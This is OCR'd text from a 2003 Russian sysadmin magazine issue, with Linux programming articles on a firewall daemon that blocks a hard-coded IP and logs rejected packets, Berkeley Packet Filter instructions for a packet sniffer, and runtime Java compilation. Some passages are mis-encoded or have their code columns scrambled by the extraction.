Итого Сложно подводить «итого» в такой статье. Наверное, кто-то будет ждать от меня выводы о том, какой же операционной системой пользоваться, кто-то может ждать от меня очередного проявления «нестандартной ориентации» в этом сложном информационном мире, кто-то может ждать от меня чего-то ещё… Я же скажу просто: в этом «творении» мне хотелось кому-то открыть глаза на происходящее, кого-то утвердить в мысли, что он прав… И закончить эту статью хочется так, как заканчивали свою речь римские консулы, передавая власть своим преемникам: “Feci, quod potui, faciant meloira potentes”, или по-простому: «Сделал что мог, и пусть кто может, сделает лучше».



программирование

БРАНДМАУЭР

Часть 2

В первой части статьи мы начали изучение одного из вариантов построения брандмауэра, рассмотрели структуру его основной составляющей – модуля ядра, а также получили навыки внесения изменений в ядро операционной системы Linux. В этой части мы рассмотрим две оставшиеся составные брандмауэра – процесс-демон и программу инициализации и запуска процесса-демона.

ВЛАДИМИР МЕШКОВ 54


программирование Задача программы инициализации и запуска процесса демона – принять исходные данные (правила фильтрации) и запустить на выполнение процесс-демон, передав ему эти правила. В нашем примере правилами фильтрации является IP-адрес хоста, чьи пакеты мы будем блокировать. Процесс-демон после активизации передает модулю ядра правила фильтрации и в дальнейшем занимается ведением log-файла, в котором фиксируется время запуска/останова демона и попытки доступа с запрещенного адреса. Теперь давайте детально рассмотрим каждую составляющую.

Программа инициализации и запуска процесса-демона Нижеприведенный программный код разместим в файле sfc.c. Здесь будет находиться главная функция main(). Рассмотрение программы начнем с определения заголовочных файлов и переменных. Нам понадобятся следующие header-файлы: #include #include #include #include #include #include #include #include #include

<stdio.h> <stdlib.h> <unistd.h> <fcntl.h> <signal.h> <errno.h> <sys/stat.h> <sys/types.h> "sfc.h"

В файле sfc.h определено имя файла, в котором хранится идентификатор процесса-демона (PID-файл). Файл имеет следующее содержание: #define PID "daemon.pid"

Идентификатор процесса-демона определим как глобальную переменную: static pid_t pid;

А теперь распишем главную функцию main(). int main (int argc, char *argv[]) { void usage():

Это прототип функции для обработки неправильного ввода параметров. Данная функция имеет следующий вид: void usage() { fprintf(stderr,"\nUsage: daemon [ start / stop ]\n\n"); return; }

Программа при запуске принимает один параметр, определяющий режим ее работы: start – запустить процесс-демон на выполнение; stop – завершить выполнение процесса-демона. Для работы нам понадобятся переменные:

№2(3), февраль 2003

55


программирование int pid_file – дескриптор файла для хранения иденти

фикатора демона; struct stat s – структура для хранения атрибутов файла. Проверяем правильность ввода входных параметров: if(argc!=2) { usage(); return (-1); }

Если входной параметр указан, определяем, какой режим работы задан. Их, как мы уже сказали, два.

Режим запуска процесса-демона на выполнение

Режим остановки выполнения процесса-демона if(!(strcmp(argv[1],"stop"))) {

Для остановки процесса-демона необходимо получить значение его идентификатора. Это значение извлекаем из PID-файла: pid_file=open(PID,O_RDONLY); if(pid_file<0) { perror(PID); return (-1); } if(read(pid_file,(char *)&pid,sizeof(pid_t)) < 0) { perror(PID); return (-1); } close(pid_file);

if(!(strcmp(argv[1],"start"))) {

Во избежание повторного запуска проверяем наличие в текущем каталоге PID-файла. Если файл присутствует, то демон уже запущен, о чем пользователь получает уведомление: if(stat(PID,&s)==0) { fprintf(stderr,"\nDaemon is allready running !\n\n"); return (-1); }

if(unlink(PID) < 0) { perror(PID); return (-1); }

Теперь останавливаем процесс-демон, послав ему сигнал SIGINT:

Инициализируем демон:

kill(pid,SIGINT); }

init_daemon();

На этом функция main() завершается:

Функция инициализации будет определена ниже. Демон запустим как дочерний процесс.

}

pid = fork(); if (pid < 0) { perror("fork"); exit(1); } if (pid==0) {

return (0);

Процесс-демон Весь код, отвечающий за запуск, функционирование и остановку процесса-демона, разместим в файле sf_daemon.c. По сути, этот файл будет представлять собой набор функций.

Отсоединяемся от терминала:

Заголовочные файлы и переменные

setsid();

Вначале, как всегда, определимся с заголовочными файлами и переменными. Нам понадобятся:

Стартуем демон: start_daemon(); exit(1); }

Родительский процесс создает PID-файл и записывает в него идентификатор процесса-демона: pid_file=open(PID,O_CREAT|O_TRUNC|O_RDWR,0644); if(pid_file < 0) { perror(PID); return (-1); } if(write(pid_file,(char *)&pid,sizeof(pid_t)) < 0) { perror(PID); return (-1); } close(pid_file); }

56

PID-файл нам больше не нужен, удаляем его:

#include #include #include #include #include #include #include #include #include #include

<stdio.h> <stdlib.h> <fcntl.h> <time.h> <signal.h> <errno.h> <sys/types.h> <sys/socket.h> <linux/in.h> "sf_daemon.h"

Файл sf_daemon.h имеет следующее содержание: #include <linux/types.h> #include <linux/ip.h>

Имя log-файла: #define LOG "/var/log/daemon" struct data_log {


программирование Если установлен флаг готовности данных для считывания и поступил пакет с запрещенного адреса, фиксируем это событие в log-файле:

__u32 addr; int action; int ready; };

В этом файле определено имя log-файла и структура data_log, в которой хранятся данные для заполнения logфайла. Назначение полей структуры следующее: __u32 – IP-адрес хоста (в сетевом формате), от которого поступил пакет; int action – выполняемое действие (1 – разрешить прохождение пакета, 0 – отбросить пакет); int ready – флаг готовности данных в устройстве для считывания. Поскольку наш демон работает с двумя файлами (файл устройства /dev/firewall и log-файл), то необходимо определить две переменные для хранения дескрипторов этих файлов: int fddev=0; int f;

if(data.ready==1) { if(data.action==0) { if(fill_log(f,data.action,data.addr) < 0) stop_daemon(); } } } }

Заполнением log-файла ведает функция fill_log, к ней мы еще вернемся. Теперь подошла очередь функции инициализации. Напомню, что ее задача – передать модулю ядра правила фильтрации (т.е. IP-адрес). void init_daemon() { int err; struct iphdr ip_pack;

- äåñêðèïòîð ôàéëà óñòðîéñòâà; - äåñêðèïòîð log-ôàéëà.

Функции Первая функция, которую мы рассмотрим, останавливает выполнение процесса-демона. Вот что она из себя представляет: void stop_daemon() { close(fddev); stop_log(f); exit(0); }

Функция закрывает устройство, завершает ведение log-файла и осуществляет выход из программы. Следующую функцию можно назвать центральной частью процесса-демона. Эта функция осуществляет непосредственный обмен данными с модулем ядра и заполняет log-файл. Главной особенностью данной функции является выполнение в бесконечном цикле, который прерывается только при поступлении сигнала SIGINT. void packet_loop(void) {

Структура для информационного обмена с модулем:

В структуре ip_pack, в поле saddr (адрес источника), будет находится запрещенный IP-адрес. Обнулим эту структуру: memset(&ip_pack,0,sizeof(struct iphdr));

и заполним поле адреса источника: ip_pack.saddr=inet_addr("192.168.1.10");

Подготовим к работе log-файл. Если log-файл отсутствует, создаем его: f=open(LOG,O_CREAT|O_APPEND|O_RDWR,0644); if(f<0) { perror(«open log»); exit(0); }

Теперь передадим модулю правила фильтрации. Открываем устройство в режиме чтения/записи: fddev=open("/dev/firewall",O_RDWR); if(fddev<0) { perror("firewall"); exit(0); }

struct data_log data;

Записываем в него структуру ip_pack:

Размер блока данных, считанного из модуля:

err=write(fddev,&ip_pack,sizeof(struct iphdr)); if(err<0) { perror("firewall"); stop_daemon(); }

int count;

Запускаем цикл: for (;;) {

Считываем из модуля данные, в случае ошибки завершаем выполнение: count=read(fddev,(char *)&data,sizeof(struct data_log)); if(count<0) stop_daemon();

№2(3), февраль 2003

Итак, IP-пакеты, поступившие с хоста с адресом 192.168.1.10, будут заблокированы на входе нашей системы. Выходим из функции: return; }

Если вам не понравилось, что IP-адрес введен не-

57


программирование посредственно в исходный текст, то можете усовершенствовать код, считывая адрес из файла или из командной строки. Теперь рассмотрим функцию, которая осуществляет запуск демона на выполнение.

Функция start_log int start_log(int f) { char buf[BSIZE]; time_t start_t;

Обнулим буфер и получим текущее время: void start_daemon() {

Демон должен реагировать только на один сигнал – SIGINT. При получении этого сигнала демон завершает выполнение. Все остальные сигналы необходимо заблокировать. Определим переменные:

bzero(buf,BSIZE); time(&start_t);

Формируем буфер и записываем его в log-файл: sprintf(buf,"Daemon started at %s", ctime(&start_t)); if(write(f,buf,strlen(buf)) < 0) return (-1); return (0); }

sigset_t mask; static struct sigaction act;

Функция stop_log Создадим полный набор сигналов, исключив из него SIGINT: sigfillset(&mask); sigdelset(&mask,SIGINT);

Блокируем все сигналы:

Функции start_log и stop_log практически не отличаются друг от друга, кроме имен переменных, поэтому привожу код без комментариев: int stop_log(int f) { char buf[BSIZE]; time_t stop_t;

sigprocmask(SIG_SETMASK,&mask,NULL);

bzero(buf,BSIZE); time(&stop_t); sprintf(buf,»Daemon stoped at %s», ctime(&stop_t)); if(write(f,buf,strlen(buf)) < 0) return (-1); close(f); return (0);

Определяем новый обработчик для SIGINT: act.sa_handler=stop_daemon; sigaction(SIGINT,&act,NULL);

}

А теперь стартуем: start_log(f); packet_loop(); exit(1); }

LOG-файл Нам осталось рассмотреть функции для ведения log-файла. Их три: start_log – запись о начале выполнения процесса-демона; fill_log – запись информации о блокировании IP-пакета; stop_log – запись об остановке выполнения процессадемона. Каждая из этих функций фиксирует текущее время возникновения того или иного события. Все три функции разместим в файле sf_log.c. #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <time.h> #include <sys/socket.h> #include <linux/in.h> #define BSIZE 80

Все функции принимают в качестве аргумента дескриптор log-файла, в который будет осуществляться запись информации. В случае удачного завершения операции все функции возвращают 0, в случае ошибки -1.

58

Функция fill_log Эта функция, кроме дескриптора log-файла, принимает IP-адрес пакета, который был заблокирован (u_long addr), и идентификатор выполненного действия (int action). Функция очень простая, и необходимости в комментариях я не вижу. int fill_log(int f, int action, u_long addr) { char buf[BSIZE]; time_t fill_t; bzero(buf,BSIZE); time(&fill_t); if(action==0) { sprintf(buf,"Packet from %s was rejected at %s",inet_ntoa(addr), ctime(&fill_t)); if (write(f,buf,strlen(buf)) < 0) return (-1); return (0); } }

Makefile Для сборки исполняемого модуля создадим Makefile следующего содержания: CC = gcc name = daemon DAEMON = sfc.o sf_daemon.o sf_log.o $(name): $(DAEMON) $(CC) -g -o $(name) $(DAEMON) sfc.o: sfc.c $(CC) -c sfc.c sf_daemon.o: sf_daemon.c


программирование $(CC) -c sf_daemon.c sf_log.o: sf_log.c $(CC) -c sf_log.c clean: rm -f *.o

Здесь все должно быть вам знакомо. Ключ «-g» при успешной сборке можно будет заменить на «-s».

рузить модуль ядра. После запуска демона в текущем каталоге появится файл daemon.pid. Не удаляйте этот файл! В нем хранится идентификатор процесса-демона для возможности его корректной остановки. Для остановки выполнения процесса-демона введите команду: ./daemon stop

Запуск и остановка выполнения процесса-демона После сборки в текущем каталоге появится исполняемый файл daemon. Для его запуска наберите команду: ./daemon start

Перед запуском процесса-демона необходимо заг-

№2(3), февраль 2003

Файл daemon.pid автоматически удаляется. Информация о времени запуска и останова процессадемона, а также о заблокированных пакетах будет зафиксирована в файле /var/log/daemon. При подготовке статьи были использованы исходные тексты и документация брандмауэра SINUS (http:// www.ifi.unizh.ch).

59


программирование

ПАКЕТНЫЙ ФИЛЬТР Если вы используете сетевой анализатор с выводом информации на консоль, то одна из проблем, с которой вы столкнетесь, заключается в том, что анализатор не будет успевать отображать все данные, поступившие из сети, и часть пакетов будет для вас потеряна.

ВЛАДИМИР МЕШКОВ Это особенно актуально, если трафик очень плотный. Вторая проблема – вас могут интересовать только пакеты, адресованные выделенным хостам, а не все подряд. Решение заключается в фильтрации входящих сетевых пакетов по какому-либо определенному признаку, например по адресной части. Одним из вариантов решения является использование оператора условия if, однако данное решение неэффективно. В этом случае ядру приходится вытаскивать полный пакет из сети, на что отнимается процессорное время, затем анализатор вынужден «экзаменовать» заголовок каждого пакета перед принятием решения – отображать данные или нет. Оптимальным является решение отсеять лишние пакеты как можно раньше, на уровне драйвера сетевой карты. Ядро Linux позволяет сделать это при помощи пакетного фильтра.

Описание языка BPF Пакетный фильтр представляет собой последовательность инструкций, составленных в кодах псевдо-машинного языка, который называется BPF – Berkeley Packet Filter. Этот язык был разработан Стивом Маккеном (Steve McCanne) и Ван Якобсоном (Van Jacobson). BPF похож на язык ассемблер. В нем, как и в ассемблере, есть регистры, инструкции для загрузки и хранения операндов, выполнения арифметико-логических операций, условных и безусловных переходов. Для работы с операндами в BPF используются регистр-аккумулятор (или просто аккумулятор), индексный регистр, ячейка памяти и внутренний программный счетчик. Формат инструкции языка BPF определяет следующая структура: struct sock_filter { __u16 code; __u8 jt; __u8 jf; __u32 k; };

которая определена в файле <linux/filter.h>.

60

Назначение полей структуры следующее: поле k – числовое значение операнда, с которым работает инструкция; поля jt (jump true) и jf (jump false) – меняют порядок выполнения инструкций; поле code – код выполняемой инструкции.

Существует 8 типов инструкций. Вначале их перечислим, а потом остановимся отдельно на каждом. Итак, вот эти 8 типов: BPF_LD, BPF_LDX, BPF_ST, BPF_STX, BPF_ALU, BPF_JMP, BPF_RET, BPF_MISC.

BPF_LD Инструкция BPF_LD служит для загрузки в аккумулятор следующих величин: константы (BPF_IMM); блока данных, расположенных по фиксированному смещению (BPF_ABS); блока данных, расположенных по смещению, которое является переменной величиной (BPF_IND); длины блока данных (BPF_LEN); значения, находящегося в ячейке памяти (BPF_MEM). Для значений BPF_IND и BPF_ABS размер загружаемых данных должен быть задан как слово (BPF_W), полуслово (BPF_H), байт (BPF_B). Здесь имеется в виду машинное слово, которое равно числу разрядов в регистрах общего назначения. Для 32-х разрядных процессоров это значение равно 4 байта. Примеры использования данной инструкции. BPF_LD+BPF_W+BPF_ABS

A <- P [ k : 4 ]

В аккумулятор загружается 4 байта из блока данных. Смещение в блоке данных задается константой k. BPF_LD+BPF_H+BPF_ABS

A <- P [ k : 2 ]


программирование В аккумулятор загружается 2 байта из блока данных. Смещение в блоке данных задается константой k.

ся в ячейке памяти с адресом k. BPF_LDX+BPF_W+BPF_LEN

BPF_LD+BPF_B+BPF_ABS

В аккумулятор загружается 1 байт из блока данных. Смещение в блоке данных задается константой k. BPF_LD+BPF_W+BPF_IND

X <- len

A <- P [ k : 1 ]

В индексный регистр загружается длина блока данных. Следующая инструкция позволяет быстро определить размер заголовка IP-пакета:

A <- P [ X + k : 4 -]

BPF_LDX+BPF_B+BPF_MSH

X <- 4 * ( P [ k : 1 ] & 0xF

)

В аккумулятор загружается 4 байта из блока данных. Смещение в блоке данных задается суммой переменных X и константы k. Переменная X является значением, находящимся в индексном регистре. BPF_LD+BPF_H+BPF_IND

A <- P [ X + k : 2 ]

В аккумулятор загружается 2 байта из блока данных. Смещение в блоке данных задается суммой переменных X и константы k. Переменная X является значением, находящимся в индексном регистре. BPF_LD+BPF_B+BPF_IND

A <- P [ X + k : 1 ]

В аккумулятор загружается 1 байт из блока данных. Смещение в блоке данных задается суммой переменных X и константы k. Переменная X является значением, находящимся в индексном регистре. BPF_LD+BPF_W+BPF_LEN

A <- len

В аккумулятор загружается длина блока данных. BPF_LD+BPF_IMM

A <- k

В аккумулятор загружается константа k. BPF_LD+BPF_MEM

A <- M [ k ]

В аккумулятор загружается значение, находящееся в ячейке памяти с адресом k.

BPF_ST Инструкция BPF_LDX служит для загрузки в индексный регистр следующих величин: константы (BPF_IMM); значения, находящегося в ячейке памяти (BPF_MEM); длины блока данных (BPF_LEN). Примеры использования данной инструкции. BPF_LDX+BPF_W+BPF_IMM

X <- M [ k ]

В индексный регистр загружается значение, находящее-

№2(3), февраль 2003

BPF_ST Инструкция BPF_ST служит для загрузки аккумулятора в ячейку памяти: BPF_ST

M [ k ] <- A

Значение k определяет адрес ячейки памяти.

BPF_STX Инструкция BPF_STX служит для загрузки индексного регистра в ячейку памяти: BPF_STX

M [ k ] <- X

Значение k определяет адрес ячейки памяти. BPF_ALU Инструкция BPF_ALU выполняет арифметико-логические между аккумулятором и индексным регистром или константой. Результат сохраняется в аккумуляторе. BPF_ALU+BPF_ADD+BPF_K BPF_ALU+BPF_SUB+BPF_K BPF_ALU+BPF_MUL+BPF_K BPF_ALU+BPF_DIV+BPF_K BPF_ALU+BPF_AND+BPF_K BPF_ALU+BPF_OR+BPF_K BPF_ALU+BPF_LSH+BPF_K BPF_ALU+BPF_RSH+BPF_K BPF_ALU+BPF_ADD+BPF_X

A A A A A A A A A

<<<<<<<<<-

A A A A A A A A A

+ k — k * k / k & k | k << k >> k + X

X <- k

В индексный регистр загружается константа k, размер которой составляет 4 байта. BPF_LDX+BPF_W+BPF_MEM

Длина заголовка находится в младших 4 битах нулевого байта IP-пакета и содержит количество 32-битных слов в заголовке. Поскольку минимальный размер заголовка 20 байт (т.е. пять 32-битных слов), то минимальное значение этого поля равно 5. Старшие 4 бита содержат версию протокола и для IPv4 это значение равно 4. Итак, предположим, что в нулевом байте находится значение 0x45. Эту величину мы загружаем в индексный регистр и осуществляем операцию логического И: 0x45 & 0xF = 0x5. Умножение на 4 эквивалентно логическому сдвигу на 2 бита в сторону старших разрядов, при этом значения старших разрядов теряются. В итоге в индексном регистре будет находиться значение 0x5 * 4 = 0x14, в десятичном представлении – 20. Это и есть длина заголовка IP-пакета в байтах.

Здесь я не вижу необходимости в комментариях, все прозрачно.

BPF_JMP Инструкция BPF_JMP изменяет порядок выполнения программы фильтрации. Данная инструкция может осуществлять как условный, так и безусловный переход между ин-

61


программирование струкциями. При безусловном переходе (BPF_JA, jump always) смещение задается 32-битным значением, при условном – 8-битным. BPF_JMP+BPF_JA

pc += k

Безусловный переход по смещению, заданному 32-разрядным значением k. BPF_JMP+BPF_JGT+BPF_K

pc += ( A > k ) ? jt : jf

Сравнение значений аккумулятора и константы k. Условный переход по смещению, заданному в поле jt при выполнении условия A > k. BPF_JMP+BPF_JGE+BPF_K BPF_JMP+BPF_JEQ+BPF_K BPF_JMP+BPF_JSET+BPF_K BPF_JMP+BPF_JGT+BPF_X

pc pc pc pc

+= += += +=

( ( ( (

A A A A

>= k ) ? jt : jf == k ) ? jt : jf & k ) ? jt : jf > X ) ? jt : jf

Сравнение значений аккумулятора и индексного регистра. Условный переход по смещению, заданному в поле jt при выполнении условия A > X. BPF_JMP+BPF_JGE+BPF_X BPF_JMP+BPF_JEQ+BPF_K BPF_JMP+BPF_JSET+BPF_K

pc += ( A >= X ) ? jt : jf pc += ( A == X ) ? jt : jf pc += ( A & X ) ? jt : jf

BPF_RET Программа фильтрации выполняется для каждого пакета, поступающего на сетевой интерфейс. Результатом работы фильтра является целое положительное число, показывающее, сколько байт в принятом пакете будет доступно для дальнейшей обработки приложению пользователя. Если принятый пакет не удовлетворяет условиям фильтрации, он отбрасывается и программой фильтрации возвращается нулевое значение. Инструкция BPF_RET завершает выполнение программы фильтрации и возвращает число байт в пакете, доступных для дальнейшей обработки. BPF_RET+BPF_A

Возвращаемый результат находится в аккумуляторе. BPF_RET+BPF_K

Результат возвращается в виде константы.

BPF_MISC

Переменные и заголовочные файлы Нам необходим один заголовочный файл: # include <linux/filter.h>

и структура: struct sock_fprog *Filter;

– непосредственно сам подключаемый фильтр.

Программа фильтрации Программа фильтрации представляет собой массив структур struct sock_filter. При ее составлении воспользуемся макросами BPF_STMP и BPF_JUMP, которые определены в заголовочном файле <linux/filter>. struct sock_filter BPF_code [ ] = { BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 12),

В принятом Ethernet-кадре по смещению, равному 12 байт (6 байт MAC-адреса источника + 6 байт MAC-адреса назначения), находится 2-х байтовый идентификатор протокола сетевого уровня. Эти 2 байта мы загружаем в аккумулятор. BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ETH_P_IP, 0, 8),

Проверяем соответствие значения, загруженного в аккумулятор, идентификатору IP-протокола (ETH_P_IP = 0x800). При выполнении условия переходим к следующей инструкции (jt = 0). В противном случае смещаемся на 8 структур вниз (jf = 8) и выходим из программы фильтрации с возвратом нулевого значения. Это значит, что данный пакет отброшен. BPF_STMT(BPF_LD+BPF_W+BPF_ABS, 26),

Инструкция BPF_MISC служит для копирования значения индексного регистра в аккумулятор и наоборот. BPF_MISC+BPF_TAX BPF_MISC+BPF_TXA

Все изменения необходимо внести только в главную функцию. Перед тем как приступить к реализации пакетного фильтра, необходимо определить условия фильтрации. В нашем примере условия следующие: обрабатываться будут пакеты IP-протокола, адрес отправителя – 192.168.1.2, транспортный протокол – TCP, порт источника – 23. Алгоритм реализации следующий: определить необходимые переменные и заголовочные файлы; составить программу фильтрации в кодах языка BPF; привязать полученный фильтр к сокету.

X <- A A <- X

Загружаем в аккумулятор 4-байтовое значение, находящееся по смещению 26 в принятом пакете. Это значение соответствует IP-адресу источника. BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0xC0A80102, 0, 6),

Пример реализации пакетного фильтра Здесь мы с помощью фильтра модифицируем исходный код анализатора сетевого трафика (см. «Анализатор сетевого трафика», «Системный администратор» №1, октябрь 2002г.).

62

Проверяем соответствие значения, загруженного в аккумулятор, IP-адресу 192.168.1.2. Значение 0xC0A80102 – это шестнадцатиричное представление данного IP-адреса. Однако в сетевом формате адрес 192.168.1.2 выглядит как


программирование 0x201A8C0. Это связано с порядком передачи в сети – передача начинается с бита младшего разряда. Если адрес не совпадает – выходим из программы фильтрации. BPF_STMT(BPF_LD+BPF_B+BPF_ABS, 23),

Загружаем в аккумулятор 1 байт, находящийся по смещению 23. В этом поле содержится идентификатор протокола транспортного уровня. Для протокола TCP это значение равно 6.

рес. Для хранения введенного IP-адреса нам потребуются дополнительные переменные: union { u_long net; char point [4]; } addr;

В поле net объединения addr будет храниться введенный IP-адрес в сетевом формате. Заполним поле net: addr. net = inet_addr (argv [1]);

BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, IPPROTO_TCP, 0, 4),

Проверяем соответствие транспортного протокола. Далее нам необходимо проверить поле «Порт источника» на соответствие значению 23. Для этого необходимо сперва установить длину заголовка IP-пакета. BPF_STMT(BPF_LDX+BPF_B+BPF_MSH, 14),

В индексный регистр будет загружено значение длины заголовка IP-пакета. По смещению, равному сумме длин Ethernet-заголовка и IP-заголовка, будет находиться поле «Порт источника». Загрузим его в аккумулятор: BPF_STMT(BPF_LD+BPF_H+BPF_IND, 14),

и проверим полученное значение: BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0x17, 0, 1),

Выходим из программы фильтрации. BPF_STMT(BPF_RET+BPF_K,1500), BPF_STMT(BPF_RET+BPF_K,0), }; Çàïîëíèì ïîëÿ ñòðóêòóðû struct sock_fprog *Filter : Filter -> len = 11; - çíà÷åíèå ïîëÿ len ðàâíî ÷èñëó ñòðóêòóð â ìàññèâå BPF_code [ ] Filter -> filter = BPF_code; - óêàçàòåëü íà ìàññèâ ñòðóêòóð BPF_code [ ] Ïðèâÿçêà ôèëüòðà ê ñîêåòó âûïîëíÿåòñÿ ïðè ïîìîùè âûçîâà setsockopt ñëåäóþùèì îáðàçîì: if ( setsockopt ( e0_r, SOL_SOCKET, SO_ATTACH_FILTER, Filter, sizeof (*Filter) ) < 0 ) { perror ( "SO_ATTACH_FILTER" ); close ( e0_r ); exit (1); }

В приведенном примере есть один недостаток: исходные данные, такие как IP-адрес, номер порта, вводятся в текст программы. При необходимости изменения условий фильтрации придется каждый раз вносить изменения в исходный текст и перекомпилировать программу. Модифицируем программу фильтрации для возможности гибкой настройки фильтра на новое условие, например, на новый IP-адрес. IPадрес будем вводить в командной строке (аргумент argv [1]). В массиве BPF_code третий элемент перепишем в виде: BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0, 0, 4),

В этой инструкции мы обнуляем поле, содержащее IP-ад-

№2(3), февраль 2003

Теперь необходимо зеркально перевернуть значение IP-адреса в сетевом формате. Сделаем это, поменяв местами 0-й и 3-й байты, 1-й и 2-й: addr. addr. addr. addr. addr. addr.

point point point point point point

[0] [3] [0] [1] [2] [1]

^= ^= ^= ^= ^= ^=

addr. addr. addr. addr. addr. addr.

point point point point point point

[3]; [1]; [3]; [2]; [1]; [2];

Заполним необходимое поле в массиве BPF_code: BPF_code [3]. k = addr. net;

Таким образом, если мы введем адрес 192.168.1.2, поле BPF_code [3]. k будет содержать значение 0xC0A80102. Для контроля можно отобразить это значение: printf( « %x \n «, BPF_code[3]. k );

После этого подключаем фильтр к сокету и работаем.

Использование tcpdump Для упрощения задачи составления программы фильтрации можно воспользоваться утилитой tcpdump. Давайте рассмотрим, как это делается. Предположим, нам необходим пакетный фильтр, принимающий IP-пакеты, адресатом или отправителем которых является хост с IP-адресом 192.168.9.1. Вводим следующую команду: tcpdump -dd host 192.168.9.1

На консоли будет отображен результат работы программы: { { { { { { { { { { { { { {

0x28, 0, 0, 0x0000000c }, 0x15, 0, 4, 0x00000800 }, 0x20, 0, 0, 0x0000001a }, 0x15, 8, 0, 0xc0a80901 }, 0x20, 0, 0, 0x0000001e }, 0x15, 6, 7, 0xc0a80901 }, 0x15, 1, 0, 0x00000806 }, 0x15, 0, 5, 0x00008035 }, 0x20, 0, 0, 0x0000001c }, 0x15, 2, 0, 0xc0a80901 }, 0x20, 0, 0, 0x00000026 }, 0x15, 0, 1, 0xc0a80901 }, 0x6, 0, 0, 0x00000044 }, 0x6, 0, 0, 0x00000000 },

Это и есть искомая программа фильтрации. Вот в принципе все, о чем я хотел рассказать. Обо всех замечаниях и предложениях пишите на ubob@mail.ru.

63


JAVA: МАГИЯ ОТРАЖЕНИЙ Часть III. КОМПИЛЯЦИЯ JAVA СРЕДСТВАМИ JAVA ДАНИИЛ АЛИЕВСКИЙ


программирование В предыдущих частях статьи мы познакомились с технологией отражений (Java Reflection). Это мощнейший механизм Java, позволяющий делать с .class-файлами практически все что угодно – загружать из произвольных файлов, анализировать набор членов класса, обращаться к этим членам, при необходимости обходя стандартную защиту «private»/ «protected». При желании можно даже подменить стандартный механизм загрузки Java-классов и взять этот процесс под полный контроль, например, разрешить перезагружать изменившиеся версии .class-файлов без полной перезагрузки Java-машины (эта техника подробно рассматривалась в части II, см. №1(2) журнала «Системный администратор»). В этой части статьи мы научимся компилировать Javaкод в .class-файлы. Совместно с технологией отражений это позволит в процессе исполнения программы «на лету» создавать новые классы в виде исходного текста, компилировать их, загружать и использовать. Столь мощные возможности обычно присущи лишь чисто интерпретируемым, сравнительно медленным языкам типа JavaScript или Perl или Ассемблеру (точнее, машинному языку). Всюду далее, если не оговорено обратное, мы будем подразумевать последнюю (на момент написания статьи) версию Java фирмы Sun: Sun Java SDK 1.4.

Как скомпилировать Java-файл с исходным текстом Решение, вообще говоря, совершенно банально – вызвать стандартный компилятор javac! На первый взгляд подобное решение кажется неизящным, сопряженным с массой проблем. Например, компилятор придется поставлять всем вашим пользователям. Другой пример – интеграция компилятора с вашей системой: сообщения компилятора должны выдаваться не на системную консоль, а «внутрь» вызывающей программы для обработки и визуализации в рамках вашего пользовательского интерфейса. Разработчики Java позаботились о том, чтобы эти проблемы легко решались. Прежде всего, стандартный компилятор javac входит в комплект поставки Sun Java SDK, распространяемого совершенно бесплатно. Правда, здесь есть одна тонкость. При формировании дистрибутива Java-приложения обычно принято включать в этот дистрибутив некий фрагмент Java SDK, так называемый JRE (Java2 TM Runtime Environment) – набор файлов, достаточный для запуска Java-приложения. В комплекте Sun Java SDK этот набор оформлен в виде подкаталога jre/. По умолчанию JRE не содержит компилятора javac (и ряда других полезных утилит из Java SDK). Включать в дистрибутив полный пакет Java SDK запрещено лицензионным соглашением фирмы Sun. Однако в том же лицензионном соглашении специально оговорено, что компилятор байт-кода javac вместе с необходимым вспомогательным JAR-файлом tools.jar можно включать в дистрибутив в дополнение к стандартному JRE, точнее, распространять совместно с Java-приложением. См. файл jre/license в комплекте поставки Sun Java SDK 1.4.1, раздел «JavaTM 2 runtime environment (j2re), standard edition, version 1.4.1_x

№2(3), февраль 2003

supplemental license terms», пункт 3 и файл jre/ README.txt, раздел «Redistribution of Java 2 SDK Files». Но самое приятное заключается в том, что в действительности компилятор фирмы Sun реализован на том же языке Java – в виде класса com.sun.tools.javac.Main и пакета вспомогательных классов, размещенных в архиве tools.jar. Утилита javac является всего-навсего «оболочкой», стартующей виртуальную машину Java и запускающей указанный класс. Архив tools.jar, как и саму утилиту javac, разрешается свободно распространять (в дополнение к стандартному JRE) совместно с Java-приложением. Это означает, что для компиляции Java-класса из Javaприложения нет необходимости обращаться к внешней утилите javac средствами операционной системы (методами Runtime.getRuntime().exec(...)). Можно напрямую воспользоваться классом com.sun.tools.javac.Main. Использование класса com.sun.tools.javac.Main предельно просто. Вот полный интерфейс этого класса (конструктор и public-методы): // Constructors public Main() // Methods public static public static public static PrintWriter

void main(String[] p0) int compile(String[] p0) int compile(String[] p0, p1)

Для вызова компилятора нужно обратиться к к одному из двух его static-методов compile. В качестве аргумента p0 нужно передать массив строк-параметров, которые обычно передаются утилите javac, например: new String[] { "-d", "/ïóòü_ê_ïîäêàòàëîãó", "myfile.java" }

В качестве аргумента p1 во второй из этих методов нужно передать поток вывода, который будет использоваться для вывода всех сообщений компилятора. Таким образом можно «перехватить» все сообщения компилятора и перенаправить их в свой собственный буфер, который впоследствии можно проанализировать или показать пользователю. В качестве результата оба метода возвращают стандартный код возврата утилиты javac (errorlevel в терминах MS-DOS). 0 сигнализирует об успешном завершении, другие значения – о каких-либо ошибках. Приведем пример вызова компилятора путем обращения к классу com.sun.tools.javac.Main: String[] args= ïàðàìåòðû óòèëèòû javac; CharArrayWriter writer= new CharArrayWriter(); int result= com.sun.tools.javac.Main.compile( args, new PrintWriter(writer,true)); if (result!=0) { /* - ïðîèçîøëà êàêàÿ-òî îøèáêà */ àíàëèçèðóåì è, âîçìîæíî, ïîêàçûâàåì ïîëüçîâàòåëþ ñòðîêó ñîîáùåíèé êîìïèëÿòîðà writer.toString() }

65


программирование Описанное решение очень просто, удобно и эффективно. Но у него есть серьезный недостаток. Класс com.sun.tools.javac.Main, как и все классы из пакетов com.sun.* и sun.*, является недокументированным. Приведенное выше описание использования класса опирается на здравый смысл и эксперименты, а не на официальную документацию фирмы Sun. Фирма Sun имеет полное право в очередной версии Java SDK изменить поведение или интерфейс этого класса или даже вообще исключить его. Указанная проблема не надумана. Действительно, все сказанное выше справедливо лишь для версии Sun Java SDK 1.4. В предыдущей версии, Sun Java SDK 1.3, тот же самый класс com.sun.tools.javac.Main имел совершенно другой интерфейс: // Constructors public Main() // Methods public static void main(String[] p0) public int compile(String[] p0)
